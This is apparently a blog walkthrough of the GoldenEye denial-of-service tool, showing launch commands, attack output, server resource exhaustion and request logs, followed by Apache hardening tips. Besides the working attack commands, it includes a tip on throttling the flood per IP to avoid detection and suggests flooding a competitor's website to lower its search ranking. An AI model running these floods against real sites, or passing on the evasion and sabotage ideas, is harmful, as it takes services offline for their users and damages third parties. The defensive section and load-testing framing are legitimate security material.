Run GoldenEye – DoS website

This is rather easy. Following is the usage of goldeneye.py.

USAGE: ./goldeneye.py <url> [OPTIONS]

 OPTIONS:
    Flag           Description                     Default
    -u, --useragents   File with user-agents to use                     (default: randomly generated)
    -w, --workers      Number of concurrent workers                     (default: 50)
    -s, --sockets      Number of concurrent sockets                     (default: 30)
    -m, --method       HTTP Method to use 'get' or 'post'  or 'random'  (default: get)
    -d, --debug        Enable Debug Mode [more verbose output]          (default: False)
    -h, --help         Shows this help

 

Depending on your Linux, Windows or Mac distribution, (any OS that supports Python would do), you just use the following command:

root@kali:~/GoldenEye/GoldenEye-master# ./goldeneye.py http://www.goldeneyetestsite.com/
(or)
sudo ./goldeneye.py http://www.goldeneyetestsite.com/
(or)
python goldeneye.py http://www.goldeneyetestsite.com/

Depending on where you’ve saved the files, adjust your path and command.

Following is taken from my tests:

The attack

root@kali:~/GoldenEye/GoldenEye-master# ./goldeneye.py http://10.0.0.101/ 

GoldenEye v2.1 by Jan Seidl <jseidl@wroot.org>

Hitting webserver in mode 'get' with 10 workers running 500 connections each. Hit CTRL+C to cancel.
^CCTRL+C received. Killing all workers
Shutting down GoldenEye
root@kali:~/GoldenEye/GoldenEye-master#

The whole attack lasted only 30 seconds.

The result

This is what I’ve seen in the server end

Before attack

root@someserver [~]# free -m
total used free shared buffers cached
Mem: 1024 713 302 49 9 150
-/+ buffers/cache: 552 1001
Swap: 9990 40 160

root@someserver [~]# pgrep httpd | wc -l
11

I had a massive pool of free memory and just 11 httpd workers.

After attack

root@serv1 [~]# free -m
 total used free shared buffers cached
Mem: 1024 101 90 49 9 150
-/+ buffers/cache: 3544 190
Swap: 990 40 150
root@someserver [~]# pgrep httpd | wc -l
174

I’ve now got just 101M free memory and 174 httpd workers.

Took only 15 seconds to push this server to it limit.

Analysis of the attack

Here’s the log from server end (I’ve replaced real IP with 127.0.0.1)

127.0.0.1 - - [14/Nov/2014:12:27:04 +1100] "GET /?EJNXO8HDpl=EwMajNhKxa&bxp=EtLn1&Uyb=nfs3I57ETsUtoNRo&6REd1geaR0=sFNMbxOc7e63XANWEVy HTTP/1.1" 200 11483 "-" "Mozilla/5.0 (compatible; MSIE 6.1; Linux x86_64; .NET CLR 3.0.23444; X11)"
127.0.0.1 - - [14/Nov/2014:12:27:04 +1100] "GET /?UrHk=fKtKtWeNbLBN&csG7UX5=Ki6fUcuE5XEkJ&8DySEKmhO=LSMj3ETBpaX03mChRc&5IO=2EwW HTTP/1.1" 200 14137 "http://www.bing.com/nlkgkM" "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_5_1) AppleWebKit/536.2 (KHTML, like Gecko) Chrome/24.0.1831.78 Safari/535.36"
127.0.0.1 - - [14/Nov/2014:12:27:05 +1100] "GET /?aPI=KbwATrwa8H3ukQ&orBIDTNE=sLPeOsAykH&127f5U=EIxk3Tffk02Fgpdpx&HVorln=rbqB&svTJYQJb=FX2fuRV HTTP/1.1" 200 14159 "http://www.mysite.com/8pxaIa" "Mozilla/5.0 (Linux i386; X11) AppleWebKit/536.22 (KHTML, like Gecko) Chrome/28.0.587.10 Safari/536.31"
127.0.0.1 - - [14/Nov/2014:12:27:01 +1100] "GET /?gtVwWdM6kC=fI2pKwLaw&lUXL1=L54q1i8oRmPGs7QwdRk8 HTTP/1.1" 200 14090 "http://www.baidu.com/mS6f3Rth?15vTPOgS=gmunmncva7VmH542b&7uWmMCM=diXiLQYHm4ltd8&bqCiNt=YrNGj20&rVYVD=pBQATyepegya&OLQgK4ie2=3oIcbCB&Qtn5viuw=n4iSJxaPPXR0pshPQkh&em8Pk=5oYUVYTCaSx5Y8P33y5" "Mozilla/5.0 (Windows; U; MSIE 10.0; Linux x86_64; .NET CLR 1.1.15295; X11)"
127.0.0.1 - - [14/Nov/2014:12:27:01 +1100] "GET /?bftxjXs=qH8No3I7a&xSM=jPo2kMHPE HTTP/1.1" 200 14073 "-" "Mozilla/5.0 (Linux x86_64; X11) AppleWebKit/537.29 (KHTML, like Gecko) Chrome/17.0.1100.100 Safari/535.25"

 

Just looking at the logs, you can see that each line contains a different GET request with different strings and in some cases, refers to BING, BAIDU or some random search engine.

So what happens when your Web Server see’s this attack? It analyzes the incoming traffic, checks the requested URL, source address and Referrer and allow it with HTTP 200 OK. Why? Because each browser was different. I’ve highlighted some parts in RED.

This tool was designed smartly so that any server would think there are all different users trying to browse from a single IP(maybe a Proxy IP from a large organization?) with different browser (Firefox, Chrome, MSIE, Safari etc.), different Operating Systems (Mac, Linux, Windows etc.) and they even arrived via different referrer. Well, maybe the requested URL was incorrect, but a normal Web Server would either allow it, redirect it to an error page with all while the connection being left open (i.e. Apache worker/socket). A standard web server usually allows X number of concurrent users from the same IP, and with that many open connection/used socket, this type of attack puts a heavy pressure on the server and any subsequent users gets an error (HTTP 503 or similar). So the attacker with a few random proxy/VPN, can exhaust server resources quickly. He can even slow down the attack per IP to avoid initial detection:

root@kali:~/GoldenEye/GoldenEye-master# ./goldeneye.py http://www.goldeneyetestsite.com/ -w 10 -s 10 -m random

The above command uses

-w = 10 workers

-s = 10 simultenious connections

-m = random, a mix of GET and POST

A perfect DoS!

An interesting observation with Google and GoldenEye

I’ve tried this live just to see how a real web server behaves. Interestingly, I found that Google Analytics thinks this is real traffic and adds the flooder’s (though from same IP but with different referrer and browsers makes Google think that they are separate users) connections to it’s statistics. I can think of two ways to exploit it:

• Get a higher ratings in Google as it would assume you are getting legit traffic.
• If Google eventually can put a logic behind it, then still flood a competitors website to lower it in Google’s ranking.

I guess it cuts both ways.

Block/defend against GoldenEye attack

Following suggestions would work well when you’re using Apache:

1. Lower per IP connection (usually it 300 per IP for Apache)
2. Edit connection per IP threshold.
3. Disable KeepAlive and lower Connection Timeout settings (default is 300)
4. If you’re hosted on a Shared server, contact SysAdmin. If they can’t defend this simple attack, just migrate to a better hosting company.
5. Use a Web application Firewall (WAF).
6. White-list incoming queries and this attack will have no affect on your server.
7. NGINX and Node.js seems to work better against these type of attacks.

Note: I’ve found a good working solution, I need to generalize it for everyone

Conclusion

GoldenEye seems like a subset (or similar) of HTTP Flooder. Both works in similar ways but GoldenEye’s NoCache and KeepAlive makes a big difference. Also, it uses an interesting way of mix-matching Browser, Operating System and Referrer which can be deceptive to a Firewall.

All in all, it’s a good tool to load test your personal website (with permission from your Hosting company), your corporate website and any web application that allows incoming GET or POST request. Use it to update your Firewall rules, Application Firewall and thus avoid future attacks.

I would be interested to hear your solution, so if you are experiencing these type of attacks, leave a comment and your solution here.

BIG IMPORTANT WARNING

You should schedule and announce your test window so users are aware of the possibility of an outage. Often simulations result in actual failures.

Under NO Circumstances should you run a DoS simulation/test attack against your environment without first notifying your hosting provider. This is especially true for external / full stack tests that will be going through your provider’s network.